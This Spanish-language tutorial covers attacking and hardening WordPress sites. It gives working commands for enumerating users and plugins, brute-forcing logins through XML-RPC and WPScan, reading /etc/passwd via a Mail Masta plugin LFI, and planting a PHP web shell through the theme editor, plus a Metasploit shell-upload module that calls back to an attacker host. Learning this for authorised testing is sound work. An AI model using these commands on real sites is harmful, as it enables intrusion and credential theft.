Secciones
1. Introducción a WordPress
WordPress es el CMS open‑source más usado, sosteniendo casi un tercio de la web. Desde blogs hasta e‑commerce, su flexibilidad permite:
- Temas y plugins (gratis y de pago).
- SEO integrado.
- Panel de administración WYSIWYG.
Sin embargo, esa extensión facilita la introducción de vulnerabilidades, especialmente por código de terceros. WordPress corre típicamente sobre PHP/Apache/MySQL y muchos hosting ofrecen instalaciones «1‑click».
2. Anatomía de un sitio WordPress
2.1 Estructura de archivos
En Ubuntu con LAMP, tus archivos suelen vivir en /var/www/html
:
tree -L 1 /var/www/html
.
├── index.php
├── license.txt
├── readme.html
├── wp-activate.php
├── wp-admin
├── wp-blog-header.php
├── wp-comments-post.php
├── wp-config.php
├── wp-config-sample.php
├── wp-content
├── wp-cron.php
├── wp-includes
├── wp-links-opml.php
├── wp-load.php
├── wp-login.php
├── wp-mail.php
├── wp-settings.php
├── wp-signup.php
├── wp-trackback.php
└── xmlrpc.php
Archivos clave:
index.php
→ Punto de entrada.wp-config.php
→ Credenciales DB y configuración.
wp-config.php
<?php
/** The name of your database **/
define('DB_NAME', 'database_name_here');
define('DB_USER', 'username_here');
define('DB_PASSWORD', 'password_here');
define('DB_HOST', 'localhost');
/** Keys and salts **/
define('AUTH_KEY', '...');
// ...
define('WP_DEBUG', false);
if (!defined('ABSPATH')) define('ABSPATH', __DIR__.'/');
require_once ABSPATH.'wp-settings.php';
2.2 Directorios críticos
wp-content/plugins
→ Plugins activo/inactivo.wp-content/themes
→ Temas.wp-includes
→ Código core.
3. Roles y permisos
Rol | Permisos principales |
---|---|
Administrador | Control total (plugins, usuarios, código) |
Editor | Publica/gestiona posts incluso de otros |
Autor | Publica y edita sus propios posts |
Colaborador | Escribe y edita sus posts pero no publica |
Suscriptor | Lee contenido, edita perfil |
4. Fase de Enumeración
4.1 Detectar versión de WP
- Inspecciona la etiqueta
<meta name="generator" ...>
en el HTML.
curl -s http://blog.ejemplo.com | grep '<meta name="generator"'
## esto nos mostrará algo como:
<meta name="generator" content="WordPress 5.3.3" />
- En versiones antiguas,
readme.html
revela la versión.
4.2 Listar plugins y temas
Listar Temas
curl -s -X GET http://blog.ejemplo.com | sed 's/href=/\n/g' | sed 's/src=/\n/g' | grep 'themes' | cut -d"'" -f2
Listar Plugins
curl -s http://blog.ejemplo.com | sed 's/href=/\n/g' | sed 's/src=/\n/g' | grep 'wp-content/plugins/' | cut -d"'" -f2
# URLs de CSS/JS de plugins
Listar Plugins Activo con curl
curl -I http://blog.ejemplo.com/wp-content/plugins/mail-masta
HTTP/1.1 301 Moved Permanently
4.3 Indexación de directorios
Si mail-masta
está deshabilitado, aún podrías acceder:
curl -s http://blog.ejemplo.com/wp-content/plugins/mail-masta/ | html2text
Recomendación: Desactiva directory listing en Apache.
4.4 Descubrir usuarios
Método 1: Autor ID
curl -I http://blog.ejemplo.com/?author=1
# Redirige a /author/admin/
Método 2: JSON API
curl http://blog.ejemplo.com/wp-json/wp/v2/users | jq
5. Acceso
5.1 Fuerza bruta con XML-RPC
curl -X POST -d "<methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value>admin</value></param><param><value>password</value></param></params></methodCall>" http://blog.ejemplo.com/xmlrpc.php
- Respuesta exitosa devuelve
<boolean>1</boolean>
. - Con credenciales inválidas se retorna
faultCode 403
.
6. WPScan: Automatizando la enumeración
Instalación:
gem install wpscan
Ejemplo de uso básico:
wpscan --url http://blog.ejemplo.com --enumerate ap,u --api-token TU_TOKEN
--enumerate ap
→ Plugins--enumerate u
→ Usuarios
7. Exploits prácticos
7.1 LFI en Mail Masta
Vulnerabilidad: count_of_send.php?pl=/etc/passwd
curl http://blog.ejemplo.com/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd
# contiene /etc/passwd
7.2 Fuerza bruta con WPScan
wpscan --url http://blog.ejemplo.com --password-attack xmlrpc -U admin,david -P passwords.txt
7.3 RCE mediante editor de temas
- Entra a Apariencia > Editor de temas.
- Selecciona un tema inactivo, edita
404.php
y agrega:
<?php system($_GET['cmd']); ?>
- Ejecuta:
404.php?cmd=id
7.4 Metasploit: wp_admin_shell_upload
msfconsole
search wp_admin_shell_upload
use exploit/unix/webapp/wp_admin_shell_upload
set RHOSTS blog.ejemplo.com
set USERNAME admin
set PASSWORD Winter2020
set LHOST 10.10.16.8
run
8. Refuerzo y buenas prácticas
- Mantén todo actualizado:
define('WP_AUTO_UPDATE_CORE', true); add_filter('auto_update_plugin', '__return_true'); add_filter('auto_update_theme', '__return_true');
- Elimina plugins/temas no usados.
- Plugins de seguridad: Wordfence, iThemes Security, Sucuri.
- Gestiona usuarios: elimina
admin
, contraseñas fuertes, 2FA. - Config Apache: deshabilita listings, restringe acceso a
wp-login.php
.